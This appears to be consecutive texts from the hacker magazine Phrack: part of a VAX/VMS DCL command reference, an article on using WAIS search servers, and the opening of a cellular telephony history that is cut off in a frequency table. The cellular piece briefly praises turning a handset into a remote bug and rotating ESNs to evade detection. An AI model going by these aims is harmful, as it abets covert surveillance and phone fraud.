SET ACL object_name

Allows you to modify the ACL (access control list) of a VMS object.

Qualifiers:

/ACL /AFTER /BEFORE /BY_OWNER /CONFIRM /CREATED /DEFAULT /DELETE /EDIT /EXCLUDE /JOURNAL /KEEP /LIKE /LOG /MODE /NEW /OBJECT_TYPE /RECOVER /REPLACE /SINCE

SET AUDIT

Enables or disables VAX/VMS security auditing.

Qualifiers:

/ALARM /DISABLE /ENABLE

SET BROADCAST = (class_name[,...])

Allows you to block out various terminal messages from being broadcast to your terminal.

SET COMMAND [file_spec[,...]]

Invokes the VAX/VMS Command Definition Utility to add, delete or replace commands in your process command table or a specified command table file.

Qualifiers:

/DELETE /LISTING /OBJECT /OUTPUT /REPLACE /TABLE

SET [NO]CONTROL[=(T,Y)]

Defines whether or not control will pass to the command language interpreter when <Ctrl‑Y> is pressed and whether process statistics will be displayed when <Ctrl‑T> is pressed.

SET DAY

Used to reset the default day type specified in the user authorization file for the current day.

Qualifiers:

/DEFAULT /LOG /PRIMARY /SECONDARY

SET DEFAULT device_name:directory_spec

Changes the default device and/or directory specification. The new default is used with all subsequent file operations that do not explicitly include a device or directory name.

SET DEVICE device_name[:]

Establishes a printer or terminal as a spooled device, or sets the error logging status of a device.

Qualifiers:

/AVAILABLE /DUAL_PORT /ERROR_LOGGING /LOG

/SPOOLED

SET DIRECTORY directory_spec[,...]

Modifies directory characteristics.

Qualifiers:

/BACKUP /BEFORE /BY_OWNER /CONFIRM /CREATED /EXCLUDE /EXPIRED /LOG

/MODIFIED /OWNER_UIC /SINCE /VERSION_LIMIT

SET FILE file_spec[,...]

Modifies file characteristics.

Qualifiers:

/BACKUP /BEFORE /BY_OWNER /CONFIRM /CREATED /DATA_CHECK /END_OF_FILE /ENTER /ERASE_ON_DELETE /EXCLUDE /EXPIRATION_DATE /EXTENSION /GLOBAL_BUFFER /LOG /NODIRECTORY /OWNER_UIC /PROTECTION /REMOVE /SINCE /UNLOCK /TRUNCATE /VERSION_LIMIT

SET HOST node_name

Connects your terminal, via your host processor, to another processor in a DECnet network.

Qualifiers:

/LOG /DTE /HSC

SET KEY

Changes the current key definition state. Keys are defined by the DEFINE/KEY command.

Qualifiers:

/LOG /STATE

SET LOGINS

Defines the number of users who may gain access to the system. This command also displays the current interactive level.

Qualifiers:

/INTERACTIVE

SET MAGTAPE device_name[:]

Defines default characteristics to be associated with a magnetic tape device for subsequent file operations.

Qualifiers:

/DENSITY /END_OF_FILE /LOG /LOGSOFT /REWIND /SKIP /UNLOAD

SET MESSAGE [file_spec]

Allows you to specify the format of messages, or to override or supplement system messages.

Qualifiers:

/DELETE /FACILITY /IDENTIFICATION /SEVERITY /TEXT

SET [NO]ON

Controls command interpreter error checking. If SET NOON is in effect, the command interpreter will ignore errors in a command procedure and continue processing.

SET OUTPUT_RATE [=delta_time]

Defines the rate at which output will be written to a batch job log file.

SET PASSWORD

Permits to change password in a VAX/VMS account

Qualifiers:

/GENERATE /SECONDARY /SYSTEM

SET PRINTER printer_name[:]

Defines characteristics for a line printer.

Qualifiers:

/CR /FALLBACK /FF /LA11 /LA180 /LOWERCASE /LOG /LP11 /PAGE /PASSALL /PRINTALL /TAB /TRUNCATE /UNKNOWN /UPPERCASE /WIDTH /WRAP

SET PROCESS [process_name]

Modifies execution characteristics associated with the named process for the current login session. If a process is not specified, changes are made to the current process.

Qualifiers:

/CPU /DUMP /IDENTIFICATION /NAME /PRIORITY /PRIVILEGES /RESOURCE_WAIT /RESUME /SUSPEND /SWAPPING

SET PROMPT [=string]

Defines a new DCL prompt for your process. The default prompt is a dollar sign ($).

Qualifier:

/CARRIAGE_CONTROL

SET PROTECTION [=(code)] file_spec[,...]

Modifies the protection applied to a particular file or to a group of files. The protection of a file limits the access available to various groups of system users. When used without a file specification, it establishes the default protection for all the files subsequently created during the login session. May also be used to modify the protection of a non‑file‑oriented device.

Qualifiers:

/CONFIRM /LOG /PROTECTION /DEFAULT /DEVICE

SET QUEUE queue_name

Used to modify the current status or attributes of a queue, or to change the current status or attributes of a job that is not currently executing in a queue.

Qualifiers:

/BASE_PRIOTITY /BLOCK_LIMIT /CHARACTERISTICS /CPUDEFAULT /CPUMAXIMUM /DEFAULT /DISABLE_SWAPPING /ENABLE_GENERIC /FORM_MOUNTED /JOB_LIMIT /OWNER_UIC /PROTECTION /RECORD_BLOCKING /RETAIN /SCHEDULE /SEPARATE /WSDEFAULT /WSEXTENT /WSQUOTA /ENTRY

SET RESTART_VALUE=string

Defines a test value for restarting portions of a batch job after a system failure.

SET RIGHTS_LIST id_name[,...]

Allows you to modify the process or system rights list.

Qualifiers:

/ATTRIBUTES /DISABLE /ENABLE /IDENTIFICATION /PROCESS /SYSTEM

SET RMS_DEFAULT

Used to set default values for the multiblock and multibuffer counts, network transfer sizes, prologue level and extend quantity used by RMS for various file operations.

Qualifiers:

/BLOCK_COUNT /BUFFER_COUNT /DISK /EXTEND_QUANTITY /INDEXED /MAGTAPE /NETWORK_BLOCK_COUNT /PROLOG /RELATIVE

/SEQUENTIAL /SYSTEM /UNIT_RECORD

SET SYMBOL

Controls access to local and global symbols within command procedures.

Qualifier:

/SCOPE

SET TERMINAL [device_name[:]]

Modifies interpretation of various terminal characteristics.

Qualifiers:

/ADVANCED_VIDEO /ALTYPEAHD /ANSI_CRT /APPLICATION_KEYPAD /AUTOBAUD /BLOCK_MODE /BRDCSTMBX /BROADCAST /CRFILL

/DEC_CRT /DEVICE_TYPE /DIALUP /DISCONNECT /DISMISS /DMA

/ECHO /EDIT_MODE /EIGHT_BIT /ESCAPE /FALLBACK /FRAME

/FORM /FULLDUP /HALFDUP

/HANGUP /HARDCOPY /HOSTSYNC /INQUIRE /INSERT /LFFILL /LINE_EDITING /LOCAL_ECHO /LOWERCASE /MANUAL /MODEM /NUMERIC_KEYPAD /OVERSTRIKE /PAGE /PARITY

/PASTHRU /PERMANENT /PRINTER_PORT /PROTOCOL /READSYNC /REGIS

/SCOPE /SET_SPEED /SECURE_SERVER /SIXEL_GRAPHICS /SOFT_CHARACTERS /SPEED

/SWITCH /SYSPASSWORD /TAB

/TTSYNC /TYPE_AHEAD /UNKNOWN /UPPERCASE /WIDTH /WRAP

SET TIME [=time]

Resets the system time to be used with all time‑dependent activities in the VAX/VMS operating system.

SET UIC uic

Establishes a new default user identification code (UIC).

SET [NO]VERIFY [=([NO]PROCEDURE,[NO]IMAGE)]

Controls whether command and data lines, in a command procedure, are displayed as they are processed.

SET VOLUME device_spec[:][,...]

Modifies the characteristics of a mounted Files‑11 volume.

Qualifiers:

/ACCESSED /DATA_CHECK /ERASE_ON_DELETE /EXTENSION /FILE_PROTECTION /HIGHWATER_MARKING /LABEL /LOG /MOUNT_VERIFICATION /OWNER_UIC /PROTECTION /REBUILD

/RETENTION /UNLOAD /USER_NAME

/WINDOWS

SET WORKING_SET

Sets the default working set size for the current process, or sets an upper limit to which the working set size can be changed by an image that the process executes.

Qualifiers:

/ADJUST /EXTENT /LIMIT /LOG /QUOTA

SHOW ACCOUNTING

Displays items for which accounting is enabled.

Qualifier:

/OUTPUT

SHOW ACL

Permits you to display the access control list (ACL) of a VAX/VMS object.

Qualifier:

/OBJECT_TYPE

SHOW AUDIT

Supplies a display that identifies enable security auditing features and the events that they will report.

Qualifier:

/OUTPUT

SHOW BROADCAST

Displays messages classes that currently are being affected by the SET BROADCAST command.

Qualifier:

/OUTPUT

SHOW DEFAULT

Displays the current default device and directory specification, along with any equivalence strings that have been defined.

SHOW DEVICES [device_name[:]]

Displays the status of a device on the running VAX/VMS system.

Qualifiers:

/ALLOCATED /BRIEF /FILES /FULL /MOUNTED /OUTPUT /SYSTEM /WINDOWS /SERVED

SHOW ERROR

Displays an error count for all devices with an error count greater than 0.

Qualifiers:

/FULL /OUTPUT

SHOW KEY [key_name]

Displays the key definition for the specified key.

Qualifiers:

/ALL /BRIEF /DIRECTORY /FULL /STATE

SHOW LOGICAL [logical_name[:],[...]]

Displays logical names from one or more logical name tables, or displays the equivalence string(s) assigned to the specified logical names(s).

Qualifiers:

/ACCESS_MODE /ALL /DESCENDANTS /FULL /GROUP /JOB /OUTPUT /PROCESS /STRUCTURE /SYSTEM /TABLE

SHOE MAGTAPE device_name[:]

Displays the characteristics and status of a specified magnetic tape device.

Qualifier:

/OUTPUT

SHOW MEMORY

Displays availability and use of memory‑related resources.

Qualifiers:

/ALL /FILES /FULL /OUTPUT /PHYSICAL_PAGES /POOL /SLOTS

SHOW NETWORK

Displays node information about the DECnet network of which your host processor is a member.

Qualifier:

/OUTPUT

SHOW PRINTER device_name[:]

Displays characteristics defined for a system printer.

Qualifier:

/OUTPUT

SHOW PROCESS [process_name]

Displays information about a process and any of its subprocesses.

Qualifiers:

/ACCOUNTING /ALL /CONTINUOUS /IDENTIFICATION /MEMORY /OUTPUT /PRIVILEGES /QUOTAS /SUBPROCESSES

SHOW PROTECTION

Displays the file protection that will be applied to all new files created during the current login session.

SHOW QUEUE [queue_name]

Displays information about queues and the jobs currently in queue.

Qualifiers:

/ALL /BATCH /BRIEF /DEVICE

/FILES /FULL /OUTPUT /CHARACTERISTICS /FORM

SHOW QUOTA

Displays the disk quota that is currently authorized for a specific user on a specific disk.

Qualifiers:

/DISK /USER

SHOW RMS_DEFAULT

Displays the default multiblock count, multibuffer count, network transfer size, prologue level and extend quantity that RMS will use for file operations.

Qualifier:

/OUTPUT

SHOW STATUS

Displays status information for the current process.

SHOW SYMBOL [symbol_name]

Displays the value of a local or global symbol.

Qualifiers:

/ALL /GLOBAL /LOCAL /LOG

SHOW SYSTEM

Displays a list of processes currently running on a system.

Qualifiers:

/BATCH /FULL /NETWORK /OUTPUT /PROCESS /SUBPROCESS

SHOW TERMINAL [device_name[:]]

Displays the characteristics of a specified terminal.

Qualifiers:

/OUTPUT /PERMANENT

SHOW TIME

Displays the current system date and time.

SHOW TRANSLATION logical_name

Searches the logical name tables for a specified logical name, then returns the first equivalence name of the match found.

Qualifier:

/TABLE

SHOW USERS [username]

Displays a list of all users currently using the system and their terminal names, usernames and their process identification codes.

Qualifier:

/OUTPUT

SHOW WORKING_SET

Displays the current working set limit, quota and extent assigned to the current process.

Qualifier:

/OUTPUT

SORT input_file_spec[,...] output_file_spec

Invokes the VAX/VMS Sort Utility to reorder records in a file into a defined sequence.

Qualifiers:

/COLLATING_SEQUENCE /DUPLICATES /KEY

/PROCESS /SPECIFICATION /STABLE /STATISTICS /WORK_FILES /FORMAT

Output File Qualifiers:

/ALLOCATION /BUCKET_SIZE /CONTIGUOUS /FORMAT /INDEXED_SEQUENTIAL /OVERLAY /RELATIVE /SEQUENTIAL

SPAWN [command_string]

Creates a subprocess to the current process.

Qualifiers:

/CARRIAGE CONTROL /CLI /INPUT

/KEYPAD /LOG /LOGICAL_NAMES

/NOTIFY /OUTPUT /PROCESS

/PROMPT /SYMBOLS /TABLE

/WAIT

START/QUEUE queue_name

Starts or restarts the specified queue.

STOP process_name

Specifies the name of a process to be deleted from the system. If the /IDENTIFICATION qualifier is used, the process name is ignored.

Qualifier:

/IDENTIFICATION

STOP/QUEUE queue_name[:]

Causes the specified queue to pause.

Qualifiers:

/ABORT /ENTRY /MANAGER

/NEXT /REQUEUE /RESET

SUBMIT file_spec[,...]

Enters a command procedure(s) into a batch queue.

Qualifiers:

/AFTER /BACKUP /BEFORE /BY_OWNER /CHARACTERISTICS /CLI /CONFIRM /CPUTIME /CREATED /DELETE /EXCLUDE /EXPIRED /HOLD /IDENTIFY /KEEP /LOG_FILE /MODIFIED /NAME /NOTIFY /PARAMETERS /PRINTER /PRIORITY /QUEUE /REMOTE /RESTART /SINCE /USER /WSDEFAULT /WSEXTENT /WSQUOTA

SYNCHRONIZE [job_name]

Places the process issuing the command into a wait state until the specified job completes execution.

Qualifiers:

/ENTRY /QUEUE

TYPE file_spec[,...]

Displays the contents of a file or group of files on the current output device (normally your terminal screen).

Qualifiers:

/BACKUP /BEFORE /BY_OWNER /CONFIRM /CREATED /EXCLUDE /EXPIRED /MODIFIED /OUTPUT /PAGE /SINCE

UNLOCK file_spec[,...]

Makes a file that has been made inaccessible as a result of being improperly closed accessible.

Qualifiers:

/CONFIRM /LOG

WAIT delta_time

Places the current process in a wait state until a specified period of time has passed.

WRITE logical_name expression[,...]

Writes the specified data record to the output file indicated by the logical name.

Qualifiers:

/ERROR /SYMBOL /UPDATE

<:=‑ Part E : Lexical Function Reference ‑=:>

Introduction

~~~~~~~~~~~~

Part F is a Lexical Function Reference. Parameters for the lexicals are in parenthesis after the function name, and parenthesis are required whether or not the lexical function requires parameters.

Lexical Function Reference

~~~~~~~~~~~~~~~~~~~~~~~~~~

F$CVSI (bit_position, width, string)

Used to extract bit fields from a character string. The result is converted to a signed integer value.

F$CFTIME (input_time, output_time, field)

Converts absolute or combination time to the format yyyy‑mm‑dd hh:mmm:ss.cc. This function can also be used to return information about an absolute, combination, or delta time string.

F$CVUI (bit_position, width, string)

Extracts bit fields from a character string and converts the result to an unsigned integer value.

F$DIRECTORY ()

Returns the default directory name as a character string.

F$EDIT (string, edit_list)

Used to edit a character string based on the parameters specified in the edit_list.

F$ELEMENT (element_number, delimiter, string)

Extracts an element from a character string in which the elements are separated by some specified delimiter.

F$ENVIRONMENT (item)

Returns information about the DCL command environment.

F$EXTRACT (offset, length, string)

Extracts a substring from a given character string.

F$FAO (control_string[,arg1,art2...arg15])

Calls the $FAO system service to convert a specified control string to formatted ASCII. This function may be used to insert variable character string data into an output string or convert integer values to ASCII and substitute the result into the output string.

F$FILE_ATTRIBUTES (file_spec, item)

Returns attribute information for the specified file.

F$GETDVI (device, item)

Calls the $GETDVI system service to return an item of information on a specified device. This function allows a process to obtain information for a device to which the process has not necessarily allocated or assigned a channel.

F$GETJPI (pid, item)

Calls the $GETJPI system service to return status and identification information about the running system or about a node in the VAXcluster (if the system is a VAXcluster).

F$IDENTIFIER (identifier, conversion_type)

Converts an identifier into its integer equivalent, or vice versa. An identifier is a name or number that identifies a category of data resource users. The system uses identifiers to determine user access to a system resource.

F$INTEGER (expression)

Returns the integer value of the result of the specified expression.

F$LENGTH (string)

Returns the length of a specified character string.

F$LOCATE (substring, string)

Locates a character or character substring within a string and returns its offset within the string. If the character or character substring is not found, the function returns the length of the string that was searched.

F$MESSAGE (status_code)

Returns a character string containing the message associated with a system status code.

F$MODE ()

Returns a character string displaying the mode in which a process is executing.

F$PARSE (file_spec[,related_spec][,field][,parse_type])

Calls the $PARSE RMS service to parse a file specification and return either its expanded file specification or a particular file specification field that you have specified.

F$PID (context_symbol)

Returns a process identification number (PID), and updates the context symbol to point to the current position in the system's process list.

F$PRIVILEGE (priv_states)

Returns a value of true or false depending on whether your current process privileges match the privileges listed in the parameter argument.

F$PROCESS ()

Obtains the current process name as a character string.

F$SEARCH (file_spec[,stream_id])

Calls the $SEARCH RMS service to search a directory and return the full file specification for a specified file.

F$SETPRV (priv_states)

Returns a list of keywords indicating current user privileges. In addition, this function may be used to call the $SETPRV system service to enable or disable specified user privileges. The return string indicates the status of the user privileges before any changes have been made with the F$SETPRV function.

F$STRING (expression)

Returns the character string equivalent of the result of the specified expression.

F$TIME ()

Returns the current date and time string.

F$TRNLNM (logical_name[,table][,index][,mode][,case][,item]) Translates a logical name to its equivalence string, or returns the requested attributes of the logical name. The equivalence string is not checked to determine if it is a logical name or not.

F$TYPE (symbol_name)

Returns the data type of a symbol.

F$USER ()

Returns the user identification code (UIC), in named format, for the current user. The F$USER function has no arguments.

F$VERIFY ([procedure_value][,image_value])

Returns an integer value which indicates whether procedure verification mode is currently on or off. If used with arguments, the F$VERIFY function can turn verification mode on or off. You must include the parentheses after the F$VERIFY function, whether or not you specify arguments.

Default File Types

~~~~~~~~~~~~~~~~~~

These file types are conventions set by DEC and may not be followed by other software companies.

Type Contents

~~~~ ~~~~~~~~

ANL Output file from the ANALYZE command

BAS Source input file for BASIC compiler

CLD Command line interpreter command description file

COM Command procedure file

DAT Data file (input or output)

DIF Output file from the DIFFERENCES command

DIR Subdirectory

DIS MAIL distribution list

DMP Output from the DUMP command

EDT EDT editor initialization file

EXE VAX/VMS executable program created with the LINK command FDL File Definition language file created with the EDIT/FDL or ANALYZE/RMS/FDL command

FOR Source input for FORTRAN compiler

HLB Help text library

HLP Help text file, usually as source input to help text library file JNL EDT editor journal file

LIS List file created by an assembler or compiler

LOG Information file created by a batch job, DECnet, etc. MAI Mail message storage file

MAR Source input file for MACRO assembler

MLB MAXCRO source library

OBJ Intermediate object file created by a compiler or assembler OLB Object module library

OPT Option input file for the LINK command

STB Symbol table

SYS System image

TJL Journal file created by the TPU editor

TLB Text library

TMP General purpose temporary file

TPU Command input file for the TPU editor

TXT Text file

Device Names

~~~~~~~~~~~~

The following are common VAX/VMS device codes and their corresponding types.

Code Device Type

~~~~ ~~~~~~~~~~~

CS Console boot/storage device

DA RC25 (25 MB fixed/25 MB removable)

DB RP05, RP06 disk

DD TU58 tape

DJ RA60 disk

DL RL02 disk

DR RM03 RM05, RM80, RP07 disk

DU RA80, RA81, RA82 disk

DX RX01 floppy

DY RX02 floppy

LC Line printer device on DMF32

LP Line printer device on LP11

LT Local area terminal (LAT)

MB Mailbox device

MF TU78 magnetic tape drive

MS TS11 magnetic tape drive

MT TU45, TU77, TE16 magnetic tape drive

MU TK50, TA78, TA81, TU81 magnetic tape drive

NL Null device

OP Operators console device

RT Remote terminal (via DECnet)

TT Interactive terminal device

TX Interactive terminal device

VT Virtual terminal

XE DEUNA

XQ DEQNA

Wide Area Information Services

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 8 of 15

Wide Area Information Servers

How Do I Use It and Why Should I Care?

by Mycroft

mycroft@gnu.ai.mit.edu

Introduction

~~~~~~~~~~~~

This file serves as an introduction to "information servers," and in particular to the WAIS system from Thinking Machines Corp.

Overview

~~~~~~~~

The Wide Area Information Server (or WAIS) system provides a way for people ("providers") to make information sources ("sources") accessible via a network, with a very simple interface to search for and retrieve particular pieces of information ("documents").

Essentially, you pick a source and specify a few keywords, and the WAIS search engine tries to find documents that match those specific keywords. Each document is scored, and the highest scoring documents are listed first. In addition, there is a mechanism ("relevance feedback") for feeding information back to the server about which documents are most interesting to you, and having it narrow the search based on this.

To summarize: WAIS gives you a fast and easy way to search vast amounts of information, and to provide access to it to other users on a network.

Why Should I Care?

~~~~~~~~~~~~~~~~~~

You should care because I, through the goodness of my heart, have made all the issues of Phrack Inc. available through WAIS. :‑) I'll soon be adding issues of the LOD/H TJ, NARC, NIA, Worldview, and a lot of other files. If anyone would care to donate files, I'd appreciate it.

There are also many other sources currently available that will probably be of interest to you.

Step 1: Compiling A Client

~~~~~~~~~~~~~~~~~~~~~~~~~~~

To use WAIS, you need a client program. There are currently 4 available that I know of:

Xwais ‑ for the X Window System

SWAIS ‑ terminal‑based

Mac WAIStation

NeXT WAIStation

(I vaguely recall something about a Windows client.)

Xwais and SWAIS both come in the standard distribution, with the search and index engines.

You can FTP any of the above from think.com, in directory /wais. The relevant files are:

wais‑8‑b4.tar.Z ‑ contains the search and index engines, as well Xwais and SWAIS

WAIStation‑0‑63.sit.hqx ‑ the Mac WAIStation WAIStation‑NeXT‑1.0.tar.Z ‑ the NeXT WAIStation

After you choose a client and get the source, compile it. There are decent directions on how to do this in each package.

Step 2: Finding An Information Source

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To find a source, you just do a search in the "directory of servers" ‑‑ a source containing pointers to all the registered WAIS sources on the net.

For example, if you're using Xwais:

(I am *not* going to go into the details of how to use the scrollbars and whatnot. If you're stuck, ask a Mac weenie for help.)

Tell me about:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|phrack Search|

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In Sources: Similar to:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑‑‑‑‑

|directory‑of‑servers.src| |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' `‑‑‑‑‑‑‑‑‑‑‑‑

.‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑‑‑

|Add Source| |Delete Source| |Add Document| |Delete Document| |Help| |Done|

`‑‑‑‑‑‑‑‑‑‑' `‑‑‑‑‑‑‑‑‑‑‑‑‑' `‑‑‑‑‑‑‑‑‑‑

.+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Resulting || 1000 551 phrack.src /proj/wais/wais‑sources/ |

documents: ||

.‑‑‑‑. ||

|View| ||

`‑‑‑‑' `+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Status: |Found 1 document.

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The lines in the "Resulting documents:" window break down into three parts:

Score ‑‑ How well it matched your query, as compared to other documents.

Size ‑‑ <In bytes> of the document.

Headline ‑‑ The "headline" is generated while building the index.

For source files, it's broken down by filename and path. For the p/h/c/a server, it's the title of the article, the authors, and the issue and file number.

So double‑click on the document, and you'll get another window (shortened a bit):

Source Edit

Name: phrack.src

Server: hal.gnu.ai.mit.edu

Service: 8000

Database: /src/wais/wais‑sources/phrack

Cost: 0

Units: :free

Maintainer: mycroft@hal.gnu.ai.mit.edu

Description:

.+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

||Server created with WAIS release 8 b3.1 on Jan 31 12:30:28 1992 by mycro|

||

||Here are all the issues of Phrack for your edification. |

||

||Phrack is an old hacking, cracking, phreaking, and general anarchy | ||newsletter. Articles range from how the phone system works to making |

||‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

`+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.‑‑‑‑. .‑‑‑‑‑‑.

|Save| |Cancel|

`‑‑‑‑' `‑‑‑‑‑‑'

The fields work like this:

Name: Filename to store this source under on *your* machine. Server, Service, Database: Where the source lives (my machine). Cost, Units: How much it will cost you to access the information. Maintainer: Me!

Description: What is there.

You really want this one, so just click the "Save" button. This will create a "source file" on your machine, which you can then access with the "Add Source" button of the question window. This setup is sort of a lose, because your copy could get out of date and not work. I've proposed a way to fix this problem, but so far it hasn't been implemented. This bit me once when I moved the files to their current location.

Step 3: A Query

~~~~~~~~~~~~~~~~

Now, let's make another query. I can't remember where I saw this, so:

Tell me about:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|that night with tuc Search|

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In Sources: Similar to:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑‑‑‑‑

|phrack.src | |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑' `‑‑‑‑‑‑‑‑‑‑‑‑

.‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑‑‑

|Add Source| |Delete Source| |Add Document| |Delete Document| |Help| |Done|

`‑‑‑‑‑‑‑‑‑‑' `‑‑‑‑‑‑‑‑‑‑‑‑‑' `‑‑‑‑‑‑‑‑‑‑

.+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Resulting || 1000 24.9K "Phrack World News Issue XIV, Part 2", compiled | documents: || 967 29.9K "Phrack World News Special Edition III", compile| .‑‑‑‑. || 800 74.9K "Phrack World News Special Edition II", compiled| |View| || 467 6.1K "Phrack Pro‑Phile V: Tuc", by Taran King (issue |

`‑‑‑‑' `+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Status: |Found 40 documents.

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All you have to do is double‑click on one of the documents. After a while you'll get another window:

.+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

||

||"Phrack World News Issue XIV, Part 2", compiled by Knight Lightning (iss|

||

||

|| PWN ^*^ PWN ^*^ PWN { SummerCon '87 } PWN ^*^ PWN ^*^ PWN |

|| ^*^

|| PWN Phrack World News PWN |

|| ^*^ Issue XIV/2 ^*^ |

|| PWN PWN |

|| ^*^ "SummerCon Strikes" ^*^ |

|| PWN PWN |

||‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

`+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑. .‑‑‑‑. .‑‑‑‑‑‑‑

|Add Section| |Find Key| |Next| |Previous| |Save To File| |Done|

`‑‑‑‑‑‑‑‑‑‑‑' `‑‑‑‑‑‑‑‑' `‑‑‑‑' `‑‑‑‑‑‑‑

Status:

The "Add Section" button is used for relevance feedback. You select a region of text and press "Add Section" and it will show up in the "Similar to:" box in the question window.

"Find Key," "Next," and "Previous" are used to search for the keywords in the document. The rest is pretty obvious.

What Else?

~~~~~~~~~~

There are more powerful ways to use WAIS. For example, using the "waisq" and "waisretrieve" programs, you could query the directory of servers nightly to get the latest copy of phrack.src. This would ensure that yours is never more than a day out of date. (I recommend subscribing to the wais‑discussion list and/or reading alt.wais instead, though, since it's more interesting and won't put a load on the directory of servers.)

Or if you keep an archive of your mail, you could use it to index that. (I know several people who do this, including Brewster.)

Or whatever. Take a look at some of the existing sources to get an idea.

Conclusion

~~~~~~~~~~

WAIS is a very useful tool for finding information. It is still under development, though, and there a few rough edges that need to be worked out. In particular:

* Source files getting out of date.

* Multiple servers for a single source (for reliability and speed). * Multiple indices for the same source on a given server (for transient information).

* Index overhead. (The Phrack index, for example, is currently larger than the text itself!)

Cellular Telephony

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 9 of 15

**************************************

*

* Cellular Telephony *

*

* by *

* Brian Oblivion *

*

*

* Courtesy of: Restricted‑Data‑Transmissions (RDT) * * "Truth Is Cheap, But Information Costs." *

*

*

**************************************

The benefit of a mobile transceiver has been the wish of experimenters since the late 1800's. To have the ability to be reached by another man despite location, altitude, or depth has had high priority in communication technology throughout its history. Only until the late 1970's has this been available to the general public. That is when Bell Telephone (the late Ma Bell) introduced the Advanced Mobile Phone Service, AMPS for short.

Cellular phones today are used for a multitude of different jobs. They are used in just plain jibber‑jabber, data transfer (I will go into this mode of cellular telephony in depth later), corporate deals, surveillance, emergencies, and countless other applications. The advantages of cellular telephony to the user/phreaker are obvious:

1. Difficulty of tracking the location of a transceiver (especially if the transceiver is on the move) makes it very difficult to locate.

2. Range of the unit within settled areas.

3. Scrambling techniques are feasible and can be made to provide moderate security for most transmissions.

4. The unit, with modification can be used as a bug, being called upon by the controlling party from anywhere on the globe.

5. With the right knowledge, one can modify the cellular in both hardware and software to create a rather diversified machine that will scan, store and randomly change.

6. ESN's per call thereby making detection almost impossible.

I feel it will be of great importance for readers to understand the background of the Cellular phone system, mainly due to the fact that much of the pioneering systems are still in use today. The first use of a mobile radio came about in 1921 by the Detroit police department. This system operated at 2MHz. In 1940, frequencies between 30 and 40MHz were made available too and soon became overcrowded. The trend of overcrowding continues today.

In 1946, the FCC declared a "public correspondence system" called, or rather classified as "Domestic Public Land Mobile Radio Service" (DPLMRS) at 35 ‑ 44 MHz band that ran along the highway between New York and Boston. Now the 3544MHz band is used mainly by Amateur radio hobbyists due to the bands susceptibility to skip‑propagation.

These early mobile radio systems were all PTT (push‑to‑talk) systems that did not enjoy today's duplex conversations. The first real mobile "phone" system was the "Improved Mobile Telephone Service" or the IMTS for short, in 1969. This system covered the spectrum from 150 ‑ 450MHz, sported automatic channel selection for each call, eliminated PTT, and allowed the customer to do their own dialing. From 1969 to 1979 this was the mobile telephone service that served the public and business community, and it is still used today.

IMTS frequencies used (MHz):

Channel Base Frequency Mobile Frequency

VHF Low Band

ZO 35.26 43.26

ZF 35.30 43.30

ZH 35.34 43.34

ZA 35.42 43.32

ZY 34.46 43.46

ZC 35.50 43.50

ZB 35.54 43.54

ZW 35.62 43.62

ZL 35.66 43.66

VHF High Band

JL 152.51 157.77

YL 152.54 157.80

JP 152.57 157.83

YP 152.60 157.86

YJ 152.63 157.89

YK 152.66 157.92

JS 152.69 157.95

YS 152.72 157.98

YA 152.75 158.01

JK 152.78 158.04

JA 152.81 158.07

UHF Band

QC 454.375 459.375

